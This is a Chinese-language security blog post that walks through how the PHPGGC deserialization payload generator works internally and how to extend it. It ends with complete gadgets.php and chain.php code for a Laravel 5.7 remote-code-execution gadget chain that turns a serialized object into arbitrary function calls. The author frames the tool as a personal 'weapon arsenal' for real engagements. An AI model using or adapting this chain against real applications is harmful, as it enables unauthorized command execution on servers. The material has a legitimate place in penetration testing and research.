前言
在之前我们分析了php下序列化攻击的一些知识点:
今天我们来分析一下php序列化的武器库:PHPGGC。
PHPGGC 是一款能够自动生成主流框架的序列化测试payload的工具,类似 Java 中的 ysoserial,支持大量主流框架的序列化exp一键生成。
但因为工具作者的时间有限,不能做到实时更新。而本文旨在分析phpggc原理,并为其添加拓展,以便我们加入最新的,自己需要的exp生成模块。
phpggc流程分析
当我们运行:
phpggc Laravel/RCE1 system id
我们跟踪一下具体流程。
初始化流程
在创建对象时,我们下断点,发现首先程序会进行load_gadget_chains():
紧接着程序会寻找定义申明过的class:
经过array_filter,将程序自己构造的gadget取出:
$classes = array_filter($classes, function($class) { return is_subclass_of($class, '\\PHPGGC\\GadgetChain') && strpos($class, 'GadgetChain\\') === 0; });
然后是取出模块名:
我们跟进get_name(),就可以发现,例如:GadgetChain\ZendFramework\FD1经过处理会变成ZendFramework/FD1:
然后将模块名与类申明形成映射关系:
$gcs = array_combine($names, $classes);
至此为止,初始化过程完成。
exp生成
然后初始化完成后,我们成功创建了PHPGGC对象x,然后调用其generate方法进行exp生成:
$x->generate();
首先是从我们的cmdline获取脚本运行参数,并将其解析:
例如我们此时解析出的参数:
同时如果发现我们没有input参数,就会友好性的打出help界面。
然后代码就会来到gadget chain的获取:
$gc = $this->get_gadget_chain($class);
这里就用到了之前的模块名和类名的映射关系,通过我们传入的模块名迅速找到已申明的类。
然后在需要时,再将其包含进来:
我们跟进该函数:
根据命名规则,程序会在其目录gadgetchains下寻找对应文件夹,例如我们对应的目录为:
/phpggc/gadgetchains/Laravel/RCE/1
然后获取其目录下的gadgets.php,拿到对应的类的定义。
然后就是利用我们定义的chain.php构造序列化了:
$parameters = $this->get_type_parameters($gc, $parameters); $generated = $this->serialize($gc, $parameters);
首先程序会拿出我们传进去的参数,然后在chain.php中生成序列化的时候使用:
我们关注一下chain.php:
例如我们使用的Laravel/RCE1的chain.php,其中的函数名和参数名都是靠我们传入的。
这样便能达成生成指定命令执行的序列化构造的目的。
最后程序会将我们的结果输出。
拓展
因为phpggc具有很好的拓展性,我们可以将现有已知的exp集成加入,这里就以之前很火的Laravel反序列化RCE为例:
phpggc本身提供了新建命令:
./phpggc --new Laravel RCE
运行后phpggc会按规则自动生成如下目录:
/phpggc/gadgetchains/Laravel/RCE/5
我们按照规则构造gadgets.php和chain.php:
gadgets.php
<?php namespace Illuminate\Foundation\Testing{ class PendingCommand{ protected $command; protected $parameters; protected $app; public $test; public function __construct($command, $parameters,$class,$app) { $this->command = $command; $this->parameters = $parameters; $this->test=$class; $this->app=$app; } } } namespace Illuminate\Auth{ class GenericUser{ protected $attributes; public function __construct(array $attributes){ $this->attributes = $attributes; } } } namespace Illuminate\Foundation{ class Application{ protected $hasBeenBootstrapped = false; protected $bindings; public function __construct($bind){ $this->bindings=$bind; } } } ?>
chain.php
<?php namespace GadgetChain\Laravel; class RCE5 extends \PHPGGC\GadgetChain\RCE { public static $version = '5.7'; public static $vector = '__destruct'; public static $author = 'sky'; public function generate(array $parameters) { $function = $parameters['function']; $parameter = $parameters['parameter']; return new \Illuminate\Foundation\Testing\PendingCommand( $function, array($parameter), new \Illuminate\Auth\GenericUser( array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")) ), new \Illuminate\Foundation\Application( array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")) ) ); } }
然后我们运行起来,可以看到在模块和类的映射关系中,已经有了我们的RCE5:
运行一下,即可直接拿到exp:
后记
phpggc提供非常好的可拓展性,我们可以按此将其打造成自己专属的武器库,实战遇到再也不怕手忙脚乱啦!